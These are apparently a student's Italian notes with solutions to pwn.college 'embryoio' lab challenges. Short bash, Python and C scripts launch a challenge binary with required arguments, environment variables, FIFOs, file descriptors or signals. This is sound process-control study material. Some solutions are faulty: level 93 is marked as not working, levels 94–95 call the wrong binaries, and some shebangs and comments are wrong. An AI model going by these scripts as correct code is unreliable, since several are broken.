3) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

3) Invio la password: `dyqztbfx`

4) Termino con `CRTL + D`

66

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : find

SOLUZIONE:

- 1) Vai nella cartella challenge: `cd /challenge/`
- 2) Uso `find` per avviare l'eseguibile: `find -type f -name embryoio_level66 -exec {} \;`

67

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : find - the challenge will check that `argv[NUM]` holds value VALUE (listed to the right as NUM:VALUE) : 1:ijixxmywgg

SOLUZIONE:

- 1) Vai nella cartella challenge: `cd /challenge/`
- 2) Uso `find` per avviare l'eseguibile: `find -type f -name embryoio_level67 -exec {} ijixxmywgg \;`

68

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge will check that `argv[NUM]` holds value VALUE (listed to the right as NUM:VALUE) : 124:vlplwgvgiv

SOLUZIONE: 1) Modifico `script2.sh`:

```
#!/bin/bash
```

```

# crea i 123 placeholder
args=()
for i in $(seq 1 123); do
    args+=("d$i")
done

# aggiungi il 124° argomento
args+=("vlplwgvgiv")

# esegui l'eseguibile con tutti gli argomenti
/challenge/embryoio_level* "${args[@]}"

```

2) Esegui/home/hacker/Desktop/script2.sh

70

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check that the environment is empty (except LC_CTYPE, which is impossible to get rid of in some cases) - the challenge will check that env[KEY] holds value VALUE (listed to the right as KEY:VALUE) : 281:ubxgmbhfje

SOLUZIONE: 1) Modifico script2.sh:

```

#!/bin/bash

env -i 281=ubxgmbhfje /challenge/embryoio_level70

```

2) Esegui/home/hacker/Desktop/script2.sh

71

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check that the environment is empty (except LC_CTYPE, which is impossible to get rid of in some cases) - the challenge will check that argv[NUM] holds value VALUE (listed to the right as NUM:VALUE) : 232:vwnpunjpdv - the challenge will check that env[KEY] holds value VALUE (listed to the right as KEY:VALUE) : 232:mlzuoxmqoz

SOLUZIONE: 1) Modifico script2.sh:

```

#!/bin/bash

# crea i 231 placeholder
args=()
for i in $(seq 1 231); do
    args+=("d$i")
done

```

```
# aggiungi il 232° argomento
args+=("vwnpunjpdv")

# esegui l'eseguibile con tutti gli argomenti e var d'ambiente
env -i 232=mlzuoxmqoz /challenge/embryoio_level71 "${args[@]}"

2) Esegui/home/hacker/Desktop/script2.sh
```

72

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check that input is redirected from a specific file path : fhfipd - the challenge will check that it is running in a specific current working directory : /tmp/oqjzag

SOLUZIONE:

- 1) Modifico script2.sh:

```
#!/bin/bash
```

```
/challenge/embryoio_level* < fhfipd
```

- 2) Creo la cartella: mkdir /tmp/oqjzag
- 3) Ci entro: cd /tmp/oqjzag
- 4) Creo il file da cui fare redirezione: touch fhfipd
- 5) Copio script2.sh all'interno della cartella: cp /home/hacker/Desktop/script2.sh /tmp/oqjzag/
- 6) Lo eseguo: ./script2.sh

73

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check that it is running in a specific current working directory : /tmp/eewwhv - the challenge will check to make sure that the parent's parent CWD to be different than the challenge's CWD

SOLUZIONE:

- 1) Modifico script2.sh:

```
#!/bin/bash
```

```
cd /tmp/eewwhv
/challenge/embryoio_level73 &
```

```
cd /home/hacker
```

```
sleep 1
```

2) Creo la cartella: `mkdir /tmp/eewwhv`

3) Esegui `/home/hacker/Desktop/script2.sh`

74

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check that `argv[NUM]` holds value VALUE (listed to the right as NUM:VALUE) : 26:rohltuyquw

SOLUZIONE:

1) Modifico il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
```

```
c = [""]*27
```

```
c[0]="/challenge/embryoio_level74"
```

```
c[26]="rohltuyquw"
```

```
subprocess.run(c)
```

2) Eseguo con `python3 /home/hacker/Desktop/script.py`

76

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check that the environment is empty (except `LC_CTYPE`, which is impossible to get rid of in some cases) - the challenge will check that `env[KEY]` holds value VALUE (listed to the right as KEY:VALUE) : 219:gautbuwjzg

SOLUZIONE:

1) Modifico il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
```

```
subprocess.run(["/challenge/embryoio_level76"], env={"219": "gautbuwjzg"})
```

2) Eseguo con `python3 /home/hacker/Desktop/script.py`

77

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check that

the environment is empty (except LC_CTYPE, which is impossible to get rid of in some cases) - the challenge will check that argv[NUM] holds value VALUE (listed to the right as NUM:VALUE) : 330:nwzazucfbl - the challenge will check that env[KEY] holds value VALUE (listed to the right as KEY:VALUE) : 319:fybniebwtz

SOLUZIONE:

- 1) Modifico il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
c = [""]*331
c[0]="/challenge/embryoio_level77"
c[330]="nwzazucfbl"
subprocess.run(c, env={"319": "fybniebwtz"})
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`

78

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check that input is redirected from a specific file path : bdejfm - the challenge will check that it is running in a specific current working directory : /tmp/uyusyv

SOLUZIONE:

- 1) Modifico il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
file = open("bdejfm","r")
subprocess.run(["/challenge/embryoio_level78"],stdin=file)
```

- 2) Creo la cartella: `mkdir /tmp/uyusyv`
- 3) Ci entro: `cd /tmp/uyusyv`
- 4) Creo il file da cui fare redirectione: `touch bdejfm`
- 5) Copio `script.py` all'interno della cartella: `cp /home/hacker/Desktop/script.py /tmp/uyusyv`
- 6) Lo eseguo: `python3 ./script.py`

79

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check that it is

running in a specific current working directory : /tmp/wfpsbh - the challenge will check to make sure that the parent's parent CWD to be different than the challenge's CWD

SOLUZIONE:

- 1) Modifico il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
p = subprocess.Popen(["/challenge/embryoio_level79"], cwd="/tmp/wfpsbh")
p.wait()
```

- 2) Creo la cartella: `mkdir /tmp/wfpsbh`
- 3) Eseguo `python3 /home/hacker/Desktop/script.py`

80

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that `argv[NUM]` holds value VALUE (listed to the right as NUM:VALUE) : 131:nukkmzoorg

SOLUZIONE:

- 1) Modifico il file `script.c`

```
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege () {
    if (fork()==0){
        char *args[132];
        for (int i=0; i < 132; i++){
            args[i] = "nukkmzoorg";
        }
        execve("/challenge/embryoio_level80", args, NULL);
    }else wait(NULL);
}

int main(){
    pwncollege();
}
```

- 2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c  
/home/hacker/Desktop/pwncollege
```

82

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that the environment is empty (except LC_CTYPE, which is impossible to get rid of in some cases) - the challenge will check that env[KEY] holds value VALUE (listed to the right as KEY:VALUE) : 147:jodrdkgreh

SOLUZIONE:

1) Modifico il file `script.c`

```
#include <fcntl.h>  
#include <stdio.h>  
#include <unistd.h>  
#include <sys/wait.h>  
  
void pwncollege(char** argv, char** envp){  
    pid_t pid = fork();  
  
    if(pid<0)  
        printf("Error while forking! \n");  
  
    if(pid==0){  
        char *env[] = {"147=jodrdkgreh",NULL};  
        execve("/challenge/embryoio_level82",argv, env);  
    }else wait(NULL);  
}  
  
void main(int argc, char** argv, char** envp){  
    pwncollege(argv, envp);  
}
```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c  
/home/hacker/Desktop/pwncollege
```

83

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that the environment is empty (except LC_CTYPE, which is impossible to get rid of in some cases) - the challenge will check that argv[NUM] holds value VALUE (listed to the right as NUM:VALUE) : 167:smdznaebvx - the challenge will

check that env[KEY] holds value VALUE (listed to the right as KEY:VALUE) :
150:xhcfvpgqrn

SOLUZIONE:

1) Modifico il file `script.c`

```
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege(){
    pid_t pid = fork();

    if (pid==0){
        char *args[168];
        for (int i=0; i<168; i++){
            args[i] = "smdznaebvx";
        }
        char *env[] = {"150=xhcfvpgqrn", NULL};
        execve("/challenge/embryoio_level83", args, env);
    }else wait(NULL);
}

int main(){
    pwncollege();
}
```

2) Eseguo con

```
gcc -o /home/hacker/Desktop/pwncollege /home/hacker/Desktop/script.c
/home/hacker/Desktop/pwncollege
```

84

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that input is redirected from a specific file path : pkexwn - the challenge will check that it is running in a specific current working directory : /tmp/fgguzo

SOLUZIONE:

1) Modifico il file `script.c`

```
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
```

```

void pwncollege(char** argv, char** envp){
    pid_t pid = fork();

    if(pid<0)
        printf("Error while forking! \n");

    if(pid==0){
        chdir("/tmp/fgguzo");
        int f = open("pkexwn",O_RDWR);
        dup2(f,STDIN_FILENO);
        execlp("/challenge/embryoio_level84","embryoio_level84",NULL);
    }else wait(NULL);
}

void main(int argc, char** argv, char** envp){
    pwncollege(argv, envp);
}

```

- 2) Creo la cartella: `mkdir /tmp/fgguzo`
- 3) Creo il file da cui fare redirectione: `touch /tmp/fgguzo/pkexwn`
- 4) Compilo nella home: `gcc -o pwncollege /home/hacker/Desktop/script.c`
- 5) Lo eseguo: `./pwncollege`

85

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will check that it is running in a specific current working directory : /tmp/ccxdwg - the challenge will check to make sure that the parent's parent CWD to be different than the challenge's CWD

SOLUZIONE:

- 1) Modifico il file `script.c`

```

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>

void pwncollege(char** argv, char** envp){
    pid_t pid = fork();

    if(pid<0)
        printf("Error while forking! \n");

```

```

        if(pid==0){
            chdir("/tmp/ccxdwg");
            execlp("/challenge/embryoio_level85","embryoio_level85",NULL);
            chdir("~");
            sleep(1000);
        }else wait(NULL);
    }

void main(int argc, char** argv, char** envp){
    pwncollege(argv, envp);
}

```

- 2) Creo la cartella: `mkdir /tmp/ccxdwg`
- 3) Compilo nella home: `gcc -o pwncollege /home/hacker/Desktop/script.c`
- 4) Lo eseguo: `./pwncollege`

86

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will force the parent process to solve a number of arithmetic problems : 1 - the challenge will use the following arithmetic operations in its arithmetic problems : +* - the complexity (in terms of nested expressions) of the arithmetic problems : 1

SOLUZIONE:

- 1) Modifico `script2.sh`:

```

#!/bin/bash

CHALLENGE="/challenge/embryoio_level*"

# avvia la challenge con una coprocess (stdin/stdout bidirezionali)
coproc CHAL { $CHALLENGE "$@"; }

count=0

# leggiamo tutto ciò che stampa la challenge
while IFS= read -r line <&"${CHAL[0]}"; do
    echo "$line" >&2 # mostra output a schermo

    if [[ "$line" == *"Please send the solution for: "* ]]; then
        expr="${line#*: }"

        result=$(python3 - <<EOF
expr = "$expr"

```

```

print(eval(expr))
EOF
)

    echo "$result" >&"${CHAL[1]}"

    ((count++))
fi
done

2) Esegui/home/hacker/Desktop/script2.sh

```

87

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will force the parent process to solve a number of arithmetic problems : 5 - the challenge will use the following arithmetic operations in its arithmetic problems : +*% - the complexity (in terms of nested expressions) of the arithmetic problems : 3

SOLUZIONE:

- 1) Lo script è invariato rispetto all'es 86:

```

#!/bin/bash

CHALLENGE="/challenge/embryoio_level*"

# avvia la challenge con una coprocess (stdin/stdout bidirezionali)
coproc CHAL { $CHALLENGE "$@"; }

count=0

# Leggiamo tutto ciò che stampa la challenge
while IFS= read -r line <&"${CHAL[0]}"; do
    echo "$line" >&2    # mostra output a schermo

    if [[ "$line" == *"Please send the solution for: "* ]]; then
        expr="${line#*: }"

        result=$(python3 - <<EOF
expr = "$expr"
print(eval(expr))
EOF
)

    echo "$result" >&"${CHAL[1]}"

```

```

        ((count++))
    fi
done

```

- 2) Lo script è uguale al'es 86: `/home/hacker/Desktop/script2.sh`

88

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check that `argv[NUM]` holds value `VALUE` (listed to the right as `NUM:VALUE`) : 0:/tmp/ulijna

SOLUZIONE:

- 1) Modifico `script2.sh`:

```
#!/bin/bash
```

```
/tmp/ulijna
```

- 2) Creo un link simbolico tra il file richiesto e la challenge: `ln -s /challenge/embryoio_level88 /tmp/ulijna`

In questo modo quando avvio `/tmp/ulijna` verra eseguita la challenge, ma con `argv[0] = /tmp/ulijna`

- 3) Esegui `/home/hacker/Desktop/script2.sh`

89

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will check that `argv[NUM]` holds value `VALUE` (listed to the right as `NUM:VALUE`) : 0:kobxyh

SOLUZIONE:

- 1) Modifico `script2.sh`:

```
#!/bin/bash
```

```
kobxyh
```

- 2) Creo un link simbolico tra il file richiesto e la challenge: `ln -s /challenge/embryoio_level89 kobxyh`

In questo modo quando avvio `kobxyh` verra eseguita la challenge, ma con `argv[0] = ulijna`

- 3) Esporta la cartella usata nel `PATH`: `export PATH=$PATH:.`
- 4) Esegui `/home/hacker/Desktop/script2.sh`

90

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge will make sure that stdin is redirected from a fifo - the challenge will check for a hardcoded password over stdin : oxiambgi

SOLUZIONE:

- 1) Modifico script2.sh:

```
#!/bin/bash
```

```
mkfifo my_pipe
( printf 'oxiambgi' > my_pipe ) & /challenge/embryoio_level90 < my_pipe
rm -f my_pipe
```

- 2) Esegui/home/hacker/Desktop/script2.sh

91

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge will make sure that stdout is a redirected from fifo

SOLUZIONE:

- 1) Modifico script2.sh:

```
#!/bin/bash
```

```
mkfifo my_pipe
( cat my_pipe ) & /challenge/embryoio_level91 > my_pipe
rm -f my_pipe
```

- 2) Esegui/home/hacker/Desktop/script2.sh

92

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge will make sure that stdin is redirected from a fifo - the challenge will make sure that stdout is a redirected from fifo - the challenge will check for a hardcoded password over stdin : smhzmctt

SOLUZIONE:

- 1) Modifico script2.sh:

```
#!/bin/bash
```

```
mkfifo in_pipe
```

```
mkfifo out_pipe
```

```
( printf 'smhzmctt' > in_pipe ) & ( cat out_pipe ) & /challenge/embryoio_level92 < in_pipe >
```

```
rm -f in_pipe
```

```
rm -f out_pipe
```

2) Esegui/home/hacker/Desktop/script2.sh

93

DA RIGUARDARE NON FUNZIONANTE

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge will make sure that stdin is redirected from a fifo - the challenge will make sure that stdout is a redirected from fifo - the challenge will force the parent process to solve a number of arithmetic problems : 1 - the challenge will use the following arithmetic operations in its arithmetic problems : +* - the complexity (in terms of nested expressions) of the arithmetic problems : 1

SOLUZIONE:

1) Modifico script2.sh:

```
#!/bin/bash
```

```
mkfifo in_pipe
```

```
mkfifo out_pipe
```

```
/challenge/embryoio_level93 < in_pipe
```

```
( cat out_pipe ) & /challenge/embryoio_level93 < in_pipe > out_pipe
```

```
cat > in_pipe | /home/hacker/Desktop/script2.sh > out_pipe | cat out_pipe
```

2) Esegui/home/hacker/Desktop/script2.sh

94

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellsript - the challenge will take input on a specific file descriptor : 261 - the challenge will check for a hardcoded password over stdin : oldqphed

SOLUZIONE:

1) Modifico script2.sh:

```
#!/bin/bash
```

```
echo "oldqphed" > /tmp/f261
```

```
# creating a file descriptor 261 from file f303 which has the password inside  
exec 261<> /tmp/f261
```

```
# redirecting stdin from fd 261  
/challenge/embryoio_level194 <&261
```

```
# closing fd 261  
exec 261>&-
```

2) Esegui/home/hacker/Desktop/script2.sh

95

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will take input on a specific file descriptor : 2 - the challenge will check for a hardcoded password over stdin : eawaijlo

SOLUZIONE:

1) Modifico script2.sh:

```
#!/bin/bash
```

```
echo "eawaijlo" > /tmp/f2
```

```
# creating a file descriptor 2 from file f303 which has the password inside  
exec 2<> /tmp/f2
```

```
# redirecting stdin from fd 2  
/challenge/embryoio_level195 <&2
```

```
# closing fd 2  
exec 2>&-
```

2) Esegui/home/hacker/Desktop/script2.sh

96

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will take input on a specific file descriptor : 1 - the challenge will check for a hardcoded password over stdin : pgcgixlx

SOLUZIONE:

1) Modifico script2.sh:

```
#!/bin/bash
```

```
echo >&1 | /challenge/embryoio_level96 <&1
```

- 2) Esegui/home/hacker/Desktop/script2.sh
- 3) Invio la password: pgcgixlx

97

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will require the parent to send number of signals : 1

SOLUZIONE:

- 1) Eseguo `script.sh` già pronto:

```
#!/bin/bash
```

```
/challenge/embryoio_level* "$@"
```

- 2) Apro un secondo terminale per inviare il segnale: devo sapere che segnale inviare e a che PID. Ad esempio se `script.sh` dice “[TEST] You must send me (PID 1555) the following signals, in exactly this order: [‘SIGABRT’]” allora il comando da mandare sul secondo terminale sarà: `kill -SIGABRT 1555`

La sintassi è: `kill -NOMESEGNALE PID`

Una volta inviato il segnale otterrò in terminale 1 la flag

98

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : shellscrip - the challenge will require the parent to send number of signals : 5

SOLUZIONE:

- 1) Eseguo `script.sh` già pronto:

```
#!/bin/bash
```

```
/challenge/embryoio_level* "$@"
```

- 2) Apro un secondo terminale per inviare i segnali: devo sapere che segnale inviare e a che PID. Ad esempio se `script.sh` dice “[TEST] You must send me (PID 1555) the following signals, in exactly this order: [‘SIGABRT’]” allora il comando da mandare sul secondo terminale sarà: `kill -SIGABRT 1555`

La sintassi è: `kill -NOMESEGNALE PID`

Una volta inviati i segnali otterrò in terminale 1 la flag

99

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will force the parent process to solve a number of arithmetic problems : 1 - the challenge will use the following arithmetic operations in its arithmetic problems : +* - the complexity (in terms of nested expressions) of the arithmetic problems : 1

SOLUZIONE:

1) Modifico il file `script.py`

```
#!/user/bin/python

from subprocess import Popen, PIPE

p = Popen(["/challenge/embryoio_level99"], stdin=PIPE, stdout=PIPE, text=True, bufsize=1)

# Salta le prime 2 righe
for _ in range(2): p.stdout.readline()

# Leggi il numero di problemi
n = int(p.stdout.readline().split(": ")[1])

# Salta le prossime 14 righe
for _ in range(14): p.stdout.readline()

# Risolvi n problemi
for _ in range(n):
    operazione = p.stdout.readline().split(": ")[1]
    p.stdin.write(f"{eval(operazione)}\n")
    print(p.stdout.readline())

# Leggi le ultime 3 righe
for _ in range(3): print(p.stdout.readline())
```

2) Eseguo con python3 `/home/hacker/Desktop/script.py`

100

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will force the parent process to solve a number of arithmetic problems : 5 - the challenge will use the

following arithmetic operations in its arithmetic problems : +*% - the complexity (in terms of nested expressions) of the arithmetic problems : 3

SOLUZIONE:

- 1) Modifico il file `script.py`, è uguale a 99 solo con `/challenge/embryoio_level100`:

```
#!/user/bin/python

from subprocess import Popen, PIPE

p = Popen(["/challenge/embryoio_level100"], stdin=PIPE, stdout=PIPE, text=True, bufsize=1)

# Salta le prime 2 righe
for _ in range(2): p.stdout.readline()

# Leggi il numero di problemi
n = int(p.stdout.readline().split(": ")[1])

# Salta le prossime 14 righe
for _ in range(14): p.stdout.readline()

# Risolvi n problemi
for _ in range(n):
    operazione = p.stdout.readline().split(": ")[1]
    p.stdin.write(f"{eval(operazione)}\n")
    print(p.stdout.readline())

# Leggi le ultime 3 righe
for _ in range(3): print(p.stdout.readline())
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`

101

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : `python` - the challenge will check that `argv[NUM]` holds value `VALUE` (listed to the right as `NUM:VALUE`) : `0:/tmp/hnvcjdj`

SOLUZIONE:

- 1) Creo un link simbolico tra il file richiesto e la challenge: `ln -s /challenge/embryoio_level101 /tmp/hnvcjdj`
- 2) Modifico il file `script.py`

```
#!/user/bin/python
```

```
import subprocess
subprocess.run(["/tmp/hnvcjdj"])
```

3) Eseguo con python3 /home/hacker/Desktop/script.py

4) Metodo alternativo in script.py:

```
#!/user/bin/python
```

```
from subprocess import Popen,PIPE,run
p = Popen(["/tmp/hnvcjdj"],executable="/challenge/embryoio_level101", text=True, bufsize=1).wait()
```

102

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will check that argv[NUM] holds value VALUE (listed to the right as NUM:VALUE) : 0:tjnrrw

SOLUZIONE:

1) Creo un link simbolico tra il file richiesto e la challenge: `ln -s /challenge/embryoio_level102 tjnrrw`

2) Esporta la cartella attuale al PATH: `export PATH=$PATH:.`

3) Modifico il file script.py:

```
#!/user/bin/python
```

```
import subprocess
subprocess.run(["tjnrrw"])
```

4) Eseguo con python3 /home/hacker/Desktop/script.py

5) Metodo alternativo in script.py:

```
#!/user/bin/python
```

```
from subprocess import Popen,PIPE,run
p = Popen(["tjnrrw"],executable="/challenge/embryoio_level102", text=True, bufsize=1).wait()
```

103

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will make sure that stdin is redirected from a fifo - the challenge will check for a hardcoded password over stdin : dueuwayn

SOLUZIONE:

1) Creo la fifo (se non esiste già): `mkfifo in_pipe`

2) Modifico il file script.py:

```
#!/user/bin/python
```

```
import subprocess, pwn, os
pin = os.open("in_pipe",os.O_RDWR)

p1 = pwn.process(["cat","-"],stdout=pin)
p1.sendline(b'dueuwayn')

p2 = pwn.process(["/challenge/embryoio_level103"],stdin=pin)
p2.interactive()
pin.close()
```

3) Eseguo con python3 /home/hacker/Desktop/script.py

4) Metodo alternativo in script.py:

```
#!/user/bin/python
```

```
from subprocess import Popen,PIPE,run
p = Popen(["tjnrrw"],executable="/challenge/embryoio_level103", text=True, bufsize=1).wait()
```

Eseguo con python3 /home/hacker/Desktop/script.py < in_pipe In altro terminale: echo "dueuwayn" > in_pipe

104

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will make sure that stdout is a redirected from fifo

SOLUZIONE:

1) Creo la fifo (se non esiste già): mkfifo in_pipe

2) Modifico il file script.py:

```
#!/user/bin/python
```

```
import subprocess, pwn, os
pout = os.open("in_pipe",os.O_RDWR)

pin = os.open("in_pipe",os.O_WRONLY)

p2 = pwn.process(["/challenge/embryoio_level104"],stdout=pin)
p1 = pwn.process(["cat","-"],stdin=pout)
p1.interactive()

pin.close()
pout.close()
```

3) Eseguo con `python3 /home/hacker/Desktop/script.py`

105

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will make sure that stdin is redirected from a fifo - the challenge will make sure that stdout is a redirected from fifo - the challenge will check for a hardcoded password over stdin : gcbxmdfp

SOLUZIONE:

1) Creo le fifo (se non esistono già): `mkfifo in_pipe out_pipe`

2) Modifico il file `script.py`:

```
#!/user/bin/python

import subprocess, pwn, os

p1out = os.open("in_pipe",os.O_RDWR)
p1in = os.open("in_pipe",os.O_WRONLY)

p2out = os.open("out_pipe",os.O_RDWR)
p2in = os.open("out_pipe",os.O_WRONLY)

p1 = pwn.process(["cat","-"],stdout=p1in)
p1.sendline(b'gcbxmdfp')

p2 = pwn.process(["/challenge/embryoio_level105"],stdin=p1out ,stdout=p2in)
p3 = pwn.process(["cat","-"],stdin=p2out)
p3.interactive()

p1in.close()
p2in.close()
p2out.close()
p1out.close()
```

3) Eseguo con `python3 /home/hacker/Desktop/script.py`

106

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will make sure that stdin is redirected from a fifo - the challenge will make sure that stdout is a redirected from fifo - the challenge will force the parent process to solve a number of arithmetic problems : 1 - the challenge will use the following arithmetic

operations in its arithmetic problems : +* - the complexity (in terms of nested expressions) of the arithmetic problems : 1

SOLUZIONE:

- 1) Creo le fifo (se non esistono già): `mkfifo in_pipe out_pipe`
- 2) Modifico il file `script.py`:

```
#!/bin/env python
```

```
from pwn import *
import subprocess, os, fcntl
```

```
#! fd0 reads in_pipe, fd10 reads out_pipe, fd01 writes in_pipe, fd1 writes out_pipe
fd0 = os.open("in_pipe",os.O_RDONLY|os.O_NONBLOCK)
fd10 = os.open("out_pipe",os.O_RDONLY|os.O_NONBLOCK)
fd01 = os.open("in_pipe",os.O_WRONLY|os.O_NONBLOCK)
fd1 = os.open("out_pipe",os.O_WRONLY|os.O_NONBLOCK)
```

```
# rendo fd0 bloccante (attendo dati in input)
oldfl = fcntl.fcntl(fd0, fcntl.F_GETFL)
fcntl.fcntl(fd0, fcntl.F_SETFL, oldfl & ~os.O_NONBLOCK)
```

```
# l'input è fd1, l'output va su fd0
bin1 = "/challenge/embryoio_level106"
p = process([bin1],stdout=fd1,stdin=fd0)
time.sleep(1)
```

```
# calcola il risultato e lo scrive su fd01 (input)
todo = os.read(fd10,4096).decode().split('solution for: ')[-1].strip().split("\n")[0].strip()
res = str(eval(todo))
os.write(fd01,res.encode())
```

```
os.close(fd01)
time.sleep(2)
```

```
# Stampa l'output fd10
print(os.read(fd10,4096).decode())
```

- 3) Eseguo con `python3 /home/hacker/Desktop/script.py`

107

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will take input on a specific file descriptor : 119 - the challenge will check for a hardcoded password over stdin : fransjsi

SOLUZIONE:

1) Modifico il file `script.py`:

```
#!/bin/env python

import os, sys, subprocess

with open("/tmp/pwd", "w") as f:
    f.write("fransjsi\n")

# Duplica il file su FD 119 e passalo al figlio
fd = os.open("/tmp/pwd", os.O_RDONLY)
os.dup2(fd, 119)
os.close(fd)

# avvia la challenge e invia la password su stdin
p = subprocess.Popen(["/challenge/embryoio_level107"], stdin=subprocess.PIPE, text=True, pas
ret = p.wait()

2) Eseguo con python3 /home/hacker/Desktop/script.py
```

108

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will take input on a specific file descriptor : 2 - the challenge will check for a hardcoded password over stdin : pygjapje

SOLUZIONE:

1) Modifico il file `script.py`:

```
#!/bin/env python

import os, sys, subprocess

with open("/tmp/pwd", "w") as f:
    f.write("pygjapje\n")

# Duplica il file su FD 119 e passalo al figlio
fd = os.open("/tmp/pwd", os.O_RDONLY)
os.dup2(fd, 2)
os.close(fd)

# avvia la challenge e invia la password su stdin
p = subprocess.Popen(["/challenge/embryoio_level108"], stdin=subprocess.PIPE, text=True, pas
ret = p.wait()
```

2) Eseguo con `python3 /home/hacker/Desktop/script.py`

109

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will take input on a specific file descriptor : 1 - the challenge will check for a hardcoded password over stdin : wbrlbfzz

SOLUZIONE:

1) Modifico il file `script.py`:

```
#!/bin/env python
```

```
import subprocess
p = subprocess.Popen(["/challenge/embryoio_level109"])
p.wait()
```

2) Eseguo con `python3 /home/hacker/Desktop/script.py`

3) Invio la password: `wbrlbfzz`

110

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will require the parent to send number of signals : 1

SOLUZIONE:

1) Modifico il file `script.py`:

```
#!/bin/env python
```

```
import subprocess
p = subprocess.Popen(["/challenge/embryoio_level110"])
p.wait()
```

2) Eseguo con `python3 /home/hacker/Desktop/script.py`

3) Apro un secondo terminale ed invio il segnale richiesto con: `kill -NOMESEGNALE PID`, es `kill -SIGHUP 1268`

111

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : python - the challenge will require the parent to send number of signals : 5

SOLUZIONE:

- 1) Modifico il file `script.py`:

```
#!/bin/env python
```

```
import subprocess
p = subprocess.Popen(["/challenge/embryoio_level111"])
p.wait()
```

- 2) Eseguo con `python3 /home/hacker/Desktop/script.py`
- 3) Apro un secondo terminale ed invio i segnali nell'ordine richiesto con: `kill -NOMESGNALE PID`, es `kill -SIGHUP 1268`

112

WELCOME! This challenge makes the following asks of you: - the challenge checks for a specific parent process : binary - the challenge will force the parent process to solve a number of arithmetic problems : 1 - the challenge will use the following arithmetic operations in its arithmetic problems : `+``*` - the complexity (in terms of nested expressions) of the arithmetic problems : 1

SOLUZIONE:

- 1) Modifico il file `script.c`

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void pwncollege(void) { }

int main() {
    int in[2], out[2];
    pipe(in);
    pipe(out);

    if (fork() == 0) {
        dup2(in[0], 0);
        dup2(out[1], 1);
        execl("/challenge/embryoio_level112", "/challenge/embryoio_level112", NULL);
        exit(1);
    }

    close(in[0]);
    close(out[1]);

    FILE *cin = fdopen(in[1], "w");
    FILE *cout = fdopen(out[0], "r");
```

```

char line[1024];

while (fgets(line, sizeof(line), cout)) {
    printf("%s", line);

    if (strstr(line, "Please send the solution for:")) {
        char *expr = strstr(line, ": ") + 2;
